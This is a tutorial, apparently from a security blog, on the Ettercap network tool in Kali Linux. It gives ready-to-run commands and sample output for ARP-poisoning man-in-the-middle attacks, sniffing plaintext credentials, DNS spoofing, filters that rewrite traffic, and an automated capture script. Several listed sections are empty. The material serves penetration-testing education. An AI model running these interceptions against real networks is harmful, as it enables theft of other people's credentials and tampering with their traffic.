Offensive Security Researcher & Quantum Cryptography Analyst

Ettercap: Complete Guide to Network Sniffing, Man-in-the-Middle Attacks, and Traffic Analysis Using Kali Linux

Abdul Wahab Junaid
Ettercap: Complete Guide to Network Sniffing, Man-in-the-Middle Attacks, and Traffic Analysis Using Kali Linux

Introduction

Ettercap is one of the oldest and most well-known Man-in-the-Middle (MITM) attack suites, originally released in the early 2000s and still shipped by default in Kali Linux. It is built primarily around ARP cache poisoning on IPv4 LANs, but it also supports IPv6 (via NDP spoofing), DHCP spoofing, port stealing, and ICMP redirection as alternative MITM techniques.

Ettercap operates in four core “modes”:

Ettercap can run in three interface modes:

It supports collecting credentials from many legacy plaintext/weakly-protected protocols (FTP, Telnet, HTTP Basic Auth, POP, IMAP, older SMB dialects) directly from the packet stream during a MITM session.

Installation

Ettercap comes preinstalled on Kali Linux. If it is missing or you want to rebuild it:

sudo apt update
sudo apt install ettercap-graphical -y
# Text-only variant (no GTK dependency):
sudo apt install ettercap-text-only -y

Verify the installation:

ettercap -v

Expected output:

ettercap 0.8.3.1
Copyright 2001-2023 Ettercap Development Team

Building from source (for the latest GitHub version):

sudo apt install build-essential cmake libpcap-dev libssl-dev \
  libcurl4-openssl-dev libgtk-3-dev check libpcre2-dev -y
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
mkdir build && cd build
cmake ..
make
sudo make install

Syntax

ettercap [OPTIONS] [TARGET1] [TARGET2]

Targets use the syntax MAC/IP/IPv6/PORTS, e.g.:

ettercap -T -M arp:remote /192.168.1.1// /192.168.1.50//

An empty field means “any”. Multiple targets are comma-separated.

Command-Line Options Reference

OptionLong formDescription
-M--mitm <METHOD:ARGS>Select MITM attack method (arp, icmp, dhcp, port, ndp)
-T--textUse text-only interface
-C--cursesUse ncurses interface
-G--gtkUse GTK GUI
-D--daemonRun as a daemon (no interface)
-i--iface <IFACE>Use specified network interface
-I--iflistList available interfaces
-Q--superquietSuper quiet mode (no output at all)
-q--quietDo not display captured content
-w--write <FILE>Write sniffed data to pcap file
-r--read <FILE>Read data from pcap file instead of live capture
-p--nopromiscDo not put interface in promiscuous mode
-S--nosslmitmDo not forge SSL certificates for SSL MITM
-z--silentDo not perform ARP scan on start
-a--config <FILE>Use alternate config file
-P--plugin <NAME>Launch a specific plugin
-F--filter <FILE>Load a compiled filter (from etterfilter)
-L--log <LOGFILE>Log all traffic to file
-l--log-info <LOGFILE>Log only packet info, not content
-m--log-msg <LOGFILE>Log user messages
-o--only-mitmDo not sniff, only perform MITM
-b--broadcastSniff packets destined to broadcast
-B--bridge <IF1,IF2>Use bridged sniffing between two interfaces
-A--gateway <IP>Set gateway for out-of-band mode
-u--unoffensiveDo not forward packets (passive sniff only)
-j--load-hosts <FILE>Load known hosts list from file
-k--save-hosts <FILE>Save hosts list to file
-c--charset <ENC>Set charset for text mode
-V--visual <FMT>Set visualization format (hex, ascii, etc.)
-e--regex <REGEX>Visualize only packets matching regex
-R--reversedSort connections by target
-s--script <CMD>Issue commands to ncurses UI (scripted mode)
-N--nocolorDisable colored output
-t--proto <PROTO>Sniff only specified protocol
-h--helpDisplay help
-v--versionDisplay version

Basic Usage

List interfaces:

sudo ettercap -I

Expected output:

Ettercap 0.8.3.1 copyright 2001-2023 Ettercap Development Team

1 - eth0            00:0C:29:3A:1B:2D
2 - wlan0           unknown

Launch text-mode with an ARP-based MITM between a target and the gateway:

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.20//

Expected output:

ettercap 0.8.3.1 copyright 2001-2023 Ettercap Development Team

Listening on:
  eth0 -> 00:0C:29:3A:1B:2D
          192.168.1.15/255.255.255.0
          fe80::20c:29ff:fe3a:1b2d/64

Privileges dropped to UID 65534 GID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.1 00:1A:2B:3C:4D:5E

 GROUP 2 : 192.168.1.20 08:00:27:AA:BB:CC

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Practical Examples with Output

Example 1 — ARP poisoning with credential sniffing (full duplex MITM)

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.20//

Sample captured credential output (from a plaintext FTP login on the victim):

[ETTERCAP] FTP : 192.168.1.20:21 -> USER: student  PASS: MySecret123

Example 2 — One-way ARP poisoning (only poison the target, not the gateway)

sudo ettercap -T -q -i eth0 -M arp:oneway /192.168.1.1// /192.168.1.20//

Example 3 — Passive sniffing only, no forwarding, save to pcap

sudo ettercap -T -q -i eth0 -u -w capture.pcap //

Output:

Unified sniffing already enabled...
Text only Interface activated...
User messages logged to capture.pcap.ecp

Example 4 — Using the built-in DNS spoofing plugin

/etc/ettercap/etter.dns edited to add:

example.com A 192.168.1.15

Run:

sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.20//

Output:

dns_spoof: [example.com] spoofed to [192.168.1.15]

Example 5 — GUI mode (graphical unified sniffing)

sudo ettercap -G

Then, from the menu: Sniff → Unified sniffing → eth0, then Hosts → Scan for hosts, add targets, then Mitm → Arp poisoning → Sniff remote connections.

Example 6 — Logging full traffic content to a file

sudo ettercap -T -q -i eth0 -M arp:remote -L /tmp/session_log /192.168.1.1// /192.168.1.20//

Output creates two files: session_log.eci (info) and session_log.ecp (content), readable later with:

etterlog session_log.ecp

Example 7 — Reading a saved capture instead of live sniffing

sudo ettercap -T -q -r capture.pcap

Example 8 — Filtering with a compiled Ettercap filter (drop/replace HTTP content)

filter.filter:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Nothing");
      msg("Encoding replaced\n");
   }
}

Compile and load:

etterfilter filter.filter -o filter.ef
sudo ettercap -T -q -i eth0 -F filter.ef -M arp:remote /192.168.1.1// /192.168.1.20//

Output:

etterfilter 0.8.3.1 copyright 2001-2023 Ettercap Development Team

12 protocol tables loaded:
...
Script encoded into 6 instructions.

Example 9 — Host list scan and save

sudo ettercap -T -q -i eth0 -k hosts.txt //

Output:

Scanning the whole netmask for 254 hosts...
* |==================================================>| 100.00 %
18 hosts added to the hosts list...
Hosts list saved to hosts.txt

Example 10 — Scripted ncurses commands

sudo ettercap -C -i eth0 -s "arp/1,2;start"

This automatically loads targets 1 and 2 from the host list and starts sniffing without manual menu navigation.

Common Use Cases

Automation with Bash

A wrapper script to automate a timed MITM + logging session in a lab:

#!/bin/bash
# ettercap_session.sh - Automated timed ARP MITM capture for lab use
IFACE="eth0"
GATEWAY="192.168.1.1"
TARGET="192.168.1.20"
DURATION=120
LOGFILE="/tmp/ettercap_$(date +%Y%m%d_%H%M%S)"

echo "[*] Starting Ettercap MITM session for ${DURATION}s..."
sudo timeout "$DURATION" ettercap -T -q -i "$IFACE" \
    -M arp:remote -L "$LOGFILE" \
    "/${GATEWAY}//" "/${TARGET}//"

echo "[*] Session complete. Parsing log..."
etterlog "${LOGFILE}.ecp" > "${LOGFILE}_readable.txt"
echo "[*] Readable log saved to ${LOGFILE}_readable.txt"

Make it executable and run:

chmod +x ettercap_session.sh
./ettercap_session.sh

Tips and Best Practices

Troubleshooting

ProblemCause / Fix
Not enough privilegesRun with sudo; Ettercap needs raw socket access
No hosts found during scanInterface not in promiscuous mode, or on a different VLAN/subnet — check -i and ip addr
Victim’s internet stops working during MITMIP forwarding is disabled — enable with echo 1 > /proc/sys/net/ipv4/ip_forward
SSL sites show certificate errors instead of MITMModern HSTS/certificate pinning blocks Ettercap’s SSL MITM on many sites — expected, not a bug
etter.dns changes not appliedMake sure dns_spoof plugin is loaded with -P dns_spoof and the plugin’s cache isn’t stale
GUI crashes on startMissing GTK3 libs — reinstall ettercap-graphical

References

Exit mobile version